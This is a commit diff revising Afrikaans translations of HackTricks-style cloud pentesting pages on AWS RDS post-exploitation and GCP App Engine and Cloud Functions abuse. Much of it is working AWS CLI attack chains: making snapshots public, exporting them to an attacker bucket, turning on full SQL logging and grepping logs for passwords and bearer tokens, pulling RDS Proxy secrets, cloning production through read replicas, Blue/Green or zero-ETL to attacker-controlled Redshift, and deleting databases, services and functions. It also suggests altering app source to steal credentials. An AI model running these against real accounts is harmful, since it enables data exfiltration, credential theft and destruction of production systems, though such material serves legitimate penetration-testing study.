Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

2026-07-29 07:00:29 -07:00 · 2025-11-26 17:28:01 +00:00
parent 0490e779ea
commit 2c5eaf66f5
18 changed files with 1239 additions and 418 deletions
@@ -4,7 +4,7 @@

 ## RDS

-Vir meer inligting, kyk:
+Vir meer inligting sien:

 {{#ref}}
 ../../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Vir meer inligting, kyk:

 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`

-As die aanvaller genoeg toestemmings het, kan hy 'n **DB publieklik toeganklik** maak deur 'n snapshot van die DB te skep, en dan 'n publieklik toeganklike DB uit die snapshot te herstel.
+As die aanvaller genoeg toestemmings het, kan hy 'n **DB publieklik toeganklik** maak deur 'n snapshot van die DB te skep, en dan 'n publieklik toeganklike DB vanaf daardie snapshot te herstel.
 ```bash
 aws rds describe-db-instances # Get DB identifier

@@ -39,7 +39,7 @@ aws rds modify-db-instance \
 # Connect to the new DB after a few mins
 ```
 ### `rds:StopDBCluster` & `rds:StopDBInstance`
-'n aanvaller met rds:StopDBCluster of rds:StopDBInstance kan 'n onmiddellike stop van 'n RDS DB-instantie of 'n hele kluster afdwing, wat databasis-onbeskikbaarheid, verbroke verbindings en die onderbreking van prosesse wat op die databasis staatmaak, veroorsaak.
+'n Aanvaller met rds:StopDBCluster of rds:StopDBInstance kan 'n onmiddellike stillegging van 'n RDS-instantie of 'n hele cluster afdwing, wat tot databasisonbeskikbaarheid, verbroke verbindings en die onderbreking van prosesse wat van die databasis afhanklik is, kan lei.

 Om 'n enkele DB-instantie te stop (voorbeeld):
 ```bash
@@ -51,9 +51,37 @@ Om 'n hele DB-kluster te stop (voorbeeld):
 aws rds stop-db-cluster \
 --db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
 ```
+### `rds:Modify*`
+'n aanvaller met rds:Modify* mag kan kritieke konfigurasies en hulpbronne (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) verander sonder om die instance of cluster direk aan te raak. Veranderings soos die aanpassing van koppelings-/time-out-parameters, die verandering van 'n proxy endpoint, die wysiging van watter certificates vertrou word, die aanpassing van logiese kapasiteit, of die herkonfigurasie van 'n subnet group kan sekuriteit verswak (nuwe toegangspaaie oopmaak), routing en load-balancing breek, replication/backup policies ongeldig maak, en oor die algemeen beskikbaarheid of herstelbaarheid verswak. Hierdie wysigings kan ook indirekte data exfiltration vergemaklik of 'n ordentlike herstel van die database na 'n voorval belemmer.
+
+Skuif of verander die subnets wat aan 'n RDS subnet group toegeken is:
+```bash
+aws rds modify-db-subnet-group \
+--db-subnet-group-name <db-subnet-group-name> \
+--subnet-ids <subnet-id-1> <subnet-id-2>
+```
+Wysig laevlak-enjinparameters in 'n kluster-parametergroep:
+```bash
+aws rds modify-db-cluster-parameter-group \
+--db-cluster-parameter-group-name <parameter-group-name> \
+--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
+```
+### `rds:Restore*`
+
+'n Aanvaller met rds:Restore*-toestemmings kan hele databasisse herstel vanaf snapshots, outomatiese rugsteun, point-in-time recovery (PITR), of lêers gestoor in S3, en nuwe instansies of klusters skep wat met data vanaf die gekose tydspunt gevul is. Hierdie operasies oorskryf nie die oorspronklike hulpbronne nie — hulle skep nuwe objeke wat die historiese data bevat — wat 'n aanvaller in staat stel om volle, funksionele kopieë van die databasis (van vorige tydspunte of van eksterne S3-lêers) te verkry en te gebruik om data te exfiltrateer, historiese rekords te manipuleer, of vorige state te herbou.
+
+Herstel 'n DB-instansie na 'n spesifieke tydspunt:
+```bash
+aws rds restore-db-instance-to-point-in-time \
+--source-db-instance-identifier <source-db-instance-identifier> \
+--target-db-instance-identifier <target-db-instance-identifier> \
+--restore-time "<restore-time-ISO8601>" \
+--db-instance-class <db-instance-class> \
+--publicly-accessible --no-multi-az
+```
 ### `rds:Delete*`

-’n Aanvaller wat rds:Delete* toegeken is, kan RDS-hulpbronne verwyder — DB-instances, clusters, snapshots, geoutomatiseerde rugsteunkopieë, subnet-groepe, parameter-/opsie-groepe en verwante artefakte — wat onmiddellike diensonderbreking, dataverlies, vernietiging van herstelpunte en verlies van forensiese bewyse tot gevolg het.
+’n aanvaller wat rds:Delete* toegeken is, kan RDS resources verwyder, insluitend DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups en verwante artefakte, wat onmiddellike diensonderbreking, dataverlies, vernietiging van recovery points en verlies van forensiese bewyse tot gevolg het.
 ```bash
 # Delete a DB instance (creates a final snapshot unless you skip it)
 aws rds delete-db-instance \
@@ -76,9 +104,9 @@ aws rds delete-db-cluster \
 ```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`

-’n aanvaller met hierdie toestemmings kan **create an snapshot of a DB** en dit **publieklik** **beskikbaar** maak. Dan kan hy net in sy eie rekening ’n DB skep vanaf daardie snapshot.
+'n aanvaller met hierdie toestemmings kan **'n snapshot van 'n DB skep** en dit **publieklik** **beskikbaar** maak. Dan kan hy net in sy eie rekening 'n DB skep vanaf daardie snapshot.

-As die aanvaller **nie die `rds:CreateDBSnapshot` het nie**, kan hy steeds **other** geskepte snapshots **publiek** maak.
+As die aanvaller **nie die `rds:CreateDBSnapshot` het nie**, kan hy steeds **ander** geskepte snapshots **publieklik** maak.
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -89,45 +117,45 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`

-'n aanvaller met die `rds:DownloadDBLogFilePortion` toestemming kan **gedeeltes van 'n RDS-instansie se loglêers aflaai**. As sensitiewe data of toegangsbewyse per ongeluk aangeteken word, kan die aanvaller hierdie inligting moontlik gebruik om hul bevoegdhede te verhoog of ongemagtigde handelinge uit te voer.
+'n aanvaller met die `rds:DownloadDBLogFilePortion` toestemming kan **gedeeltes van 'n RDS-instansie se loglêers aflaai**. As sensitiewe data of toegangskredens per ongeluk aangeteken word, kan die aanvaller potensieel hierdie inligting gebruik om hul bevoegdhede te verhoog of ongemagtigde aksies uit te voer.
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-**Potensiële impak**: Toegang tot sensitiewe inligting of onbevoegde aksies deur gebruik van leaked credentials.
+**Potensiële impak**: Toegang tot sensitiewe inligting of ongemagtigde aksies deur gebruik van leaked credentials.

 ### `rds:DeleteDBInstance`

-'n aanvaller met hierdie permissions kan **DoS bestaande RDS-instansies**.
+'n aanvaller met hierdie toestemmings kan **DoS bestaande RDS-instansies**.
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
 ```
-**Potensiële impak**: Verwydering van bestaande RDS-instanse en moontlike verlies van data.
+**Potensiële impak**: Verwydering van bestaande RDS-instanse en moontlike dataverlies.

 ### `rds:StartExportTask`

 > [!NOTE]
 > TODO: Toets

-'n attacker met hierdie toestemming kan **'n RDS-instansie-snapshot na 'n S3-bucket uitvoer**. As die attacker beheer oor die bestemming S3-bucket het, kan hulle moontlik toegang tot sensitiewe data binne die uitgevoerde snapshot kry.
+'n aanvaller met hierdie toestemming kan **export an RDS instance snapshot to an S3 bucket**. As die aanvaller beheer oor die bestemming S3 bucket het, kan hulle moontlik toegang kry tot sensitiewe data binne die exported snapshot.
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
-**Potensiële impak**: Toegang tot sensitiewe data in die uitgeëxporteerde snapshot.
+**Potensiële impak**: Toegang tot sensitiewe data in die geëksporteerde snapshot.

-### Kruis-Region Outomatiese Rugsteunreplikasie vir Sluip-herstel (`rds:StartDBInstanceAutomatedBackupsReplication`)
+### Kruis-streek outomatiese rugsteunreplikasie vir stilswyende herstel (`rds:StartDBInstanceAutomatedBackupsReplication`)

-Misbruik kruis-Region outomatiese rugsteunreplikasie om stilweg 'n RDS-instansie se outomatiese rugsteun na 'n ander AWS Region te dupliseer en dit daar te herstel. Die aanvaller kan dan die herstelde DB publieklik toeganklik maak en die hoofwagwoord terugstel om data out-of-band te bekom in 'n Region wat verdedigers moontlik nie monitor nie.
+Misbruik kruis-streek outomatiese rugsteunreplikasie om stilweg 'n RDS-instansie se outomatiese rugsteun na 'n ander AWS Region te dupliseer en daar te herstel. Die aanvaller kan dan die herstelde DB openbaar toeganklik maak en die master-wagwoord terugstel om data buite-band te benader in 'n Region wat verdedigers moontlik nie monitor nie.

-Permissions needed (minimum):
+Benodigde permissies (minimum):
 - `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
 - `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
 - `rds:RestoreDBInstanceToPointInTime` in the destination Region
 - `rds:ModifyDBInstance` in the destination Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (opsionele opruiming)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (om die herstelde DB bloot te stel)
+- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)

-Impak: Persistensie en data-ekstraksie deur 'n kopie van produksiedata in 'n ander Region te herstel en dit publieklik bloot te stel met deur die aanvaller beheerde geloofsbriewe.
+Impak: Persistence and data exfiltration deur 'n kopie van produksiedata in 'n ander Region te herstel en dit openbaar bloot te stel met attacker-controlled credentials.

 <details>
 <summary>End-tot-end CLI (vervang plekhouers)</summary>
@@ -199,26 +227,26 @@ aws rds stop-db-instance-automated-backups-replication \
 </details>


-### Skakel volledige SQL-logging aan via DB-parameter-groepe en eksfiltreer via RDS log APIs
+### Skakel volledige SQL-logging in via DB parameter groups en exfiltrate via RDS log APIs

-Misbruik `rds:ModifyDBParameterGroup` saam met RDS log-aflaai-APIs om alle SQL-opdragte wat deur toepassings uitgevoer word vas te vang (geen DB engine credentials benodig nie). Skakel engine SQL-logging in en haal die lêerlogs af via `rds:DescribeDBLogFiles` en `rds:DownloadDBLogFilePortion` (of die REST `downloadCompleteLogFile`). Nuttig om navrae te versamel wat moontlik secrets/PII/JWTs bevat.
+Abuse `rds:ModifyDBParameterGroup` with RDS log download APIs om alle SQL-stellings wat deur toepassings uitgevoer word vas te vang (geen DB-engine credentials benodig nie). Skakel engine SQL-logging in en haal die loglêers af via `rds:DescribeDBLogFiles` en `rds:DownloadDBLogFilePortion` (of die REST `downloadCompleteLogFile`). Nuttig om queries in te samel wat moontlik secrets/PII/JWTs bevat.

-Permissies benodig (minimum):
+Benodigde permissies (minimum):
 - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
 - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (slegs om 'n pasgemaakte parameter-groep aan te heg as die instansie die standaard een gebruik)
- `rds:RebootDBInstance` (vir parameters wat 'n reboot benodig, bv. PostgreSQL)
+- `rds:ModifyDBInstance` (slegs om 'n pasgemaakte parameter group aan te heg as die instansie die standaard een gebruik)
+- `rds:RebootDBInstance` (vir parameters wat 'n herbegin vereis, bv. PostgreSQL)

 Stappe
-1) Recon die teiken en die huidige parameter-groep
+1) Recon teiken en huidige parameter group
 ```bash
 aws rds describe-db-instances \
 --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
 --output table
 ```
-2) Verseker dat 'n custom DB parameter group aangeheg is (kan nie die default wysig nie)
- Indien die instance reeds 'n custom group gebruik, hergebruik sy naam in die volgende stap.
- Anders skep en heg een aan wat ooreenstem met die engine family:
+2) Verseker dat 'n aangepaste DB-parametergroep gekoppel is (die standaard kan nie gewysig word nie)
+- As die instansie reeds 'n aangepaste groep gebruik, hergebruik sy naam in die volgende stap.
+- Andersins, skep en koppel een wat by die enjinfamilie pas:
 ```bash
 # Example for PostgreSQL 16
 aws rds create-db-parameter-group \
@@ -232,8 +260,8 @@ aws rds modify-db-instance \
 --apply-immediately
 # Wait until status becomes "available"
 ```
-3) Skakel uitgebreide SQL-logging aan
- MySQL enjinne (onmiddellik / geen herbegin):
+3) Skakel gedetailleerde SQL-logging in
+- MySQL engines (onmiddellik / geen herbegin):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -244,7 +272,7 @@ aws rds modify-db-parameter-group \
 #   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
 #   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
 ```
- PostgreSQL enjins (reboot required):
+- PostgreSQL enjinne (herbegin vereis):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -256,11 +284,11 @@ aws rds modify-db-parameter-group \
 # Reboot if any parameter is pending-reboot
 aws rds reboot-db-instance --db-instance-identifier <DB>
 ```
-4) Laat die werkvrag loop (of genereer navrae). Statements sal na engine-lêerloge geskryf word
+4) Laat die werklas loop (of genereer navrae). Opdragte sal na engine file logs geskryf word
 - MySQL: `general/mysql-general.log`
 - PostgreSQL: `postgresql.log`

-5) Ontdek en laai loglêers af (no DB creds required)
+5) Ontdek en laai logs af (geen DB creds benodig nie)
 ```bash
 aws rds describe-db-log-files --db-instance-identifier <DB>

@@ -275,7 +303,7 @@ aws rds download-db-log-file-portion \
 ```bash
 grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
 ```
-Voorbeeldbewyse (gesensureer):
+Voorbeeldbewys (gesensureer):
 ```text
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
@@ -297,19 +325,19 @@ aws rds modify-db-parameter-group \
 "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
 # Reboot if pending-reboot
 ```
-Impak: Post-exploitation-toegang tot data deur alle toepassing se SQL-stellings via AWS APIs vas te vang (no DB creds), potensieel leaking van secrets, JWTs en PII.
+Impact: Post-exploitation toegang tot data deur alle toepassings-SQL-statemente via AWS APIs vas te vang (geen DB creds), wat moontlik leaking secrets, JWTs, en PII tot gevolg het.

 ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`

-Misbruik RDS read replicas om out-of-band read access te kry sonder om die primary instance credentials aan te raak. 'n aanvaller kan 'n read replica vanaf 'n production instance skep, die replica se master password terugstel (dit verander nie die primary nie), en opsioneel die replica publiek blootstel om data te exfiltrate.
+Misbruik RDS read replicas om out-of-band lees-toegang te verkry sonder om die primêre instansie credentials aan te raak. 'n Aanvaller kan 'n read replica skep vanaf 'n produksie-instansie, die replica se master-wagwoord herstel (dit verander nie die primêre nie), en opsioneel die replica publiek maak om data te exfiltrate.

-Vereiste permissies (minimum):
+Benodigde toestemmings (minimum):
 - `rds:DescribeDBInstances`
 - `rds:CreateDBInstanceReadReplica`
 - `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (as jy dit publiek blootstel)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)

-Impak: Read-only toegang tot production data via 'n replica met aanvaller-beheerde credentials; laer waarskynlikheid van opsporing aangesien die primary onaangeraak bly en replisering voortgaan.
+Impact: Read-only toegang tot produksie-data via 'n replica met attacker-controlled credentials; laer waarskynlikheid van opsporing aangesien die primêre onaangeraak bly en replikasie voortgaan.
 ```bash
 # 1) Recon: find non-Aurora sources with backups enabled
 aws rds describe-db-instances \
@@ -342,11 +370,11 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
 ```
 Voorbeeldbewyse (MySQL):
 - Replica DB-status: `available`, leesreplikasie: `replicating`
- Suksesvolle verbinding met nuwe wagwoord en `@@read_only=1` wat lees-slegs replica-toegang bevestig.
+- Suksesvolle verbinding met nuwe wagwoord en `@@read_only=1` wat leesalleen-replica-toegang bevestig.

 ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`

-Misbruik RDS Blue/Green om 'n produksie DB te kloon na 'n deurlopend gereplikeerde, lees-slegs green omgewing. Stel dan die green master credentials terug om toegang tot die data te kry sonder om die blue (prod) instance aan te raak. Dit is meer onopvallend as snapshot sharing en omseil dikwels monitering wat slegs op die bron fokus.
+Misbruik RDS Blue/Green om 'n produksie-DB te kloon na 'n voortdurend gereplikeerde, leesalleen green-omgewing. Stel dan die green master credentials terug om toegang tot die data te kry sonder om die blue (prod) instance aan te raak. Dit is minder sigbaar as snapshot sharing en omseil dikwels monitering wat slegs op die bron gefokus is.
 ```bash
 # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
 aws rds describe-db-instances \
@@ -393,22 +421,22 @@ aws rds delete-blue-green-deployment \
 --blue-green-deployment-identifier <BGD_ID> \
 --delete-target true
 ```
-Impak: Slegs-lees, maar volle toegang tot data in 'n byna-reële-tyd-kloon van produksie sonder om die produksie-instansie te wysig. Nuttig vir stealthy data-uittrekking en aflyn-analise.
+Impak: Slegs-lees, maar volle data toegang tot 'n byna regstreekse kloon van produksie sonder om die produksie-instansie te wysig. Nuttig vir stilletjies data-ekstraksie en aflyn-analise.


-### Out-of-band SQL via RDS Data API deur die HTTP-endpoint in te skakel + die master password terug te stel
+### Buite-band SQL via RDS Data API deur die HTTP-endpoint te aktiveer + die master-wagwoord terug te stel

-Misbruik Aurora om die RDS Data API HTTP-endpoint op 'n teiken-kluster te aktiveer, die master-wagwoord na 'n waarde wat jy beheer terug te stel, en SQL oor HTTPS uit te voer (geen VPC-netwerkpad benodig nie). Werks op Aurora engines wat die Data API/EnableHttpEndpoint ondersteun (e.g., Aurora MySQL 8.0 provisioned; sommige Aurora PostgreSQL/MySQL weergawes).
+Misbruik Aurora om die RDS Data API HTTP-endpoint op 'n teiken-kluster te aktiveer, die master-wagwoord terug te stel na 'n waarde wat jy beheer, en SQL oor HTTPS uit te voer (geen VPC-netwerkpad benodig nie). Werk op Aurora-engines wat die Data API/EnableHttpEndpoint ondersteun (bv., Aurora MySQL 8.0 provisioned; sommige Aurora PostgreSQL/MySQL weergawes).

-Permissions (minimum):
+Permissies (minimum):
 - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
 - secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
+- rds-data:ExecuteStatement (en rds-data:BatchExecuteStatement indien gebruik)

-Impak: Omseil netwerksegmentering en exfiltrate data via AWS APIs sonder direkte VPC-verbinding na die DB.
+Impak: Omseil netwerksegmentering en eksfiltreer data via AWS APIs sonder direkte VPC-konneksie na die DB.

 <details>
-<summary>Einde-tot-einde CLI (Aurora MySQL voorbeeld)</summary>
+<summary>Volledige CLI (Aurora MySQL voorbeeld)</summary>
 ```bash
 # 1) Identify target cluster ARN
 REGION=us-east-1
@@ -460,22 +488,22 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
 ```
 </details>

-Aantekeninge:
- As multi-statement SQL deur rds-data geweier word, voer afsonderlike execute-statement-oproepe uit.
- Vir engines waar modify-db-cluster --enable-http-endpoint geen effek het nie, gebruik rds enable-http-endpoint --resource-arn.
- Maak seker die engine/version ondersteun eintlik die Data API; anders sal HttpEndpointEnabled False bly.
+Notes:
+- As multi-statement SQL deur rds-data verwerp word, stuur afsonderlike execute-statement-oproepe.
+- Vir engines waar modify-db-cluster --enable-http-endpoint geen uitwerking het nie, gebruik rds enable-http-endpoint --resource-arn.
+- Verseker dat die engine/weergawe werklik die Data API ondersteun; anders sal HttpEndpointEnabled op False bly.


-### Onttrek DB-credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
+### Haal DB-geloofsbriewe via RDS Proxy auth-sekrete (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

-Misbruik RDS Proxy-konfigurasie om die Secrets Manager-secret wat vir backend-verifikasie gebruik word te vind, en lees dan die secret om database credentials te kry. Baie omgewings gee wye `secretsmanager:GetSecretValue`-toestemmings, wat dit 'n lae-wrywing pivot na DB-creds maak. As die secret 'n CMK gebruik, kan verkeerd-geskopte KMS-permissies ook `kms:Decrypt` toelaat.
+Misbruik RDS Proxy-konfigurasie om die Secrets Manager-secret wat vir backend-outentisering gebruik word, te ontdek, en lees dan die secret om databasis-geloofsbriewe te bekom. Baie omgewings gee breë `secretsmanager:GetSecretValue`-toegang, wat dit 'n low-friction pivot na DB creds maak. As die secret 'n CMK gebruik, kan verkeerd-geperkte KMS-magtigings ook `kms:Decrypt` toelaat.

-Benodigde permissies (minimum):
+Permissions needed (minimum):
 - `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` op die genoemde SecretArn
- Opsioneel indien die secret 'n CMK gebruik: `kms:Decrypt` op daardie sleutel
+- `secretsmanager:GetSecretValue` on the referenced SecretArn
+- Optional when the secret uses a CMK: `kms:Decrypt` on that key

-Impak: Onmiddellike openbaarmaking van die DB gebruikersnaam/wagwoord wat op die proxy gekonfigureer is; maak direkte DB-toegang of verdere laterale beweging moontlik.
+Impact: Immediate disclosure of DB username/password configured on the proxy; enables direct DB access or further lateral movement.

 Stappe
 ```bash
@@ -490,7 +518,7 @@ aws secretsmanager get-secret-value \
 --query SecretString --output text
 # Example output: {"username":"admin","password":"S3cr3t!"}
 ```
-Lab (minimaal om te reproduseer)
+Laboratorium (minimaal om te reproduseer)
 ```bash
 REGION=us-east-1
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -518,18 +546,18 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet
 ```
 ### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)

-Misbruik Aurora PostgreSQL zero‑ETL-integrasie om produksiedata deurlopend te repliseer na 'n Redshift Serverless-naamruimte wat jy beheer. Met 'n permissiewe Redshift hulpbronbeleid wat CreateInboundIntegration/AuthorizeInboundIntegration vir 'n spesifieke Aurora cluster ARN magtig, kan 'n aanvaller 'n byna regstreekse datakopie tot stand bring sonder DB creds, snapshots of netwerke-ontblootstelling.
+Misbruik Aurora PostgreSQL zero‑ETL integration om produksiedata deurlopend te repliseer in 'n Redshift Serverless namespace wat jy beheer. Met 'n permissiewe Redshift resource policy wat CreateInboundIntegration/AuthorizeInboundIntegration vir 'n spesifieke Aurora cluster ARN magtig, kan 'n aanvaller 'n byna regstreekse datakopie vestig sonder DB creds, snapshots of netwerkblootstelling.

 Benodigde permissies (minimum):
 - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
 - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (om navrae uit te voer)
- `rds-data:ExecuteStatement` (opsioneel; om data in te saai indien nodig)
+- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
+- `rds-data:ExecuteStatement` (optional; to seed data if needed)

 Getoets op: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

 <details>
-<summary>1) Skep Redshift Serverless naamruimte + workgroup</summary>
+<summary>1) Skep Redshift Serverless-namespace + werkgroep</summary>
 ```bash
 REGION=us-east-1
 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
@@ -545,7 +573,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
 </details>

 <details>
-<summary>2) Konfigureer die Redshift hulpbronbeleid om die Aurora-bron toe te laat</summary>
+<summary>2) Konfigureer Redshift hulpbronbeleid om die Aurora-bron toe te laat</summary>
 ```bash
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
 SRC_ARN=<AURORA_CLUSTER_ARN>
@@ -576,7 +604,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
 </details>

 <details>
-<summary>3) Skep Aurora PostgreSQL-kluster (aktiveer Data API en logical replication)</summary>
+<summary>3) Skep Aurora PostgreSQL cluster (enable Data API and logical replication)</summary>
 ```bash
 CLUSTER_ID=aurora-ztl
 aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -619,7 +647,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
 </details>

 <details>
-<summary>5) Materialiseer en voer navrae uit op gerepliseerde data in Redshift</summary>
+<summary>5) Materialiseer en haal gerepliseerde data op in Redshift</summary>
 ```bash
 # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
 aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -637,7 +665,7 @@ Bewyse waargeneem tydens die toets:
 - SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
 - After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).

-Impak: Aanhoudende byna‑regstreekse exfiltration van geselekteerde Aurora PostgreSQL‑tabelle na Redshift Serverless wat deur die aanvaller beheer word, sonder die gebruik van databasisbewyse, rugsteune of netwerktoegang tot die bronkluster.
+Impak: Voortdurende, byna regstreekse exfiltration van geselekteerde Aurora PostgreSQL tabelle na Redshift Serverless, beheer deur die attacker, sonder om database credentials, backups, of network access tot die source cluster te gebruik.


 {{#include ../../../../banners/hacktricks-training.md}}
@@ -12,36 +12,37 @@ Vir inligting oor App Engine kyk:

 ### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`

-Met hierdie permissies is dit moontlik om:
+Met hierdie toestemmings is dit moontlik om:

 - Voeg 'n sleutel by
 - Lys sleutels
 - Kry 'n sleutel
- Verwyder
+- Vee uit

 > [!CAUTION]
-> Echter, ek **kon geen manier vind om toegang tot hierdie inligting vanaf die cli te kry nie**, slegs vanaf die **web console** waar jy die **Key type** en die **Key name** moet ken, of vanaf die a**pp engine running app**.
+> Ek **kon egter nie 'n manier vind om toegang tot hierdie inligting vanaf die cli te kry** nie, slegs vanaf die **web console** waar jy die **Key type** en die **Key name** moet ken, of van die a**pp engine running app**.
 >
-> As jy makliker maniere ken om hierdie permissies te gebruik, stuur 'n Pull Request!
+> As jy makliker maniere ken om hierdie toestemmings te gebruik, stuur 'n Pull Request!

 ### `logging.views.access`

-Met hierdie permisie is dit moontlik om **die logs van die App te sien**:
-
-<details>
-
-<summary>Tail app logs</summary>
+Met hierdie toestemming is dit moontlik om **die logs van die App te sien**:
 ```bash
 gcloud app logs tail -s <name>
 ```
-</details>
+### Diens- en weergaweverwydering

-### Lees Source Code
+Die `appengine.versions.delete`, `appengine.versions.list`, en `appengine.services.list` toestemmings laat toe om spesifieke weergawes van 'n App Engine-toepassing te bestuur en te verwyder, wat verkeer kan beïnvloed as dit verdeel is of as die enigste stabiele weergawe verwyder word. Intussen laat die `appengine.services.delete` en `appengine.services.list` toestemmings toe om hele dienste te lys en te verwyder — 'n aksie wat alle verkeer en die beskikbaarheid van die geassosieerde weergawes onmiddellik ontwrig.
+```bash
+gcloud app versions delete <VERSION_ID>
+gcloud app services delete <SERVICE_NAME>
+```
+### Lees Bronkode

-Die source code van alle weergawes en dienste is **gestoor in die bucket** met die naam **`staging.<proj-id>.appspot.com`**. As jy write access daaroor het, kan jy die source code lees en soek na **vulnerabilities** en **sensitive information**.
+Die bronkode van alle weergawes en dienste is **gestoor in die bucket** met die naam **`staging.<proj-id>.appspot.com`**. As jy skryf-toegang daaroor het, kan jy die bronkode lees en soek na **vulnerabilities** en **sensitive information**.

-### Wysig Source Code
+### Wysig Bronkode

-Wysig die source code om steal credentials as dit gestuur word, of om 'n defacement web attack' uit te voer.
+Wysig die bronkode om credentials te steel as hulle gestuur word, of voer 'n defacement web attack uit.

 {{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@

 ## Cloud Functions

-Vind inligting oor Cloud Functions in:
+Vind meer inligting oor Cloud Functions in:

 {{#ref}}
 ../gcp-services/gcp-cloud-functions-enum.md
@@ -12,30 +12,31 @@ Vind inligting oor Cloud Functions in:

 ### `cloudfunctions.functions.sourceCodeGet`

-Met hierdie permissie kan jy 'n **signed URL kry om die bronkode van die Cloud Function af te laai**:
-
-<details>
-
-<summary>Kry 'n signed URL om die bronkode af te laai</summary>
+Met hierdie toestemming kan jy 'n **ondertekende URL kry om die bronkode van die Cloud Function af te laai**:
 ```bash
 curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
 -H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
 -H "Content-Type: application/json" \
 -d '{}'
 ```
-</details>
+### `cloudfunctions.functions.delete`
+Die `cloudfunctions.functions.delete` toestemming laat 'n identiteit toe om 'n Cloud Function heeltemal te verwyder, insluitend sy kode, konfigurasie, triggers, en die assosiasie met service accounts.
+```bash
+gcloud functions delete <FUNCTION_NAME> \
+--region=us-central1 \
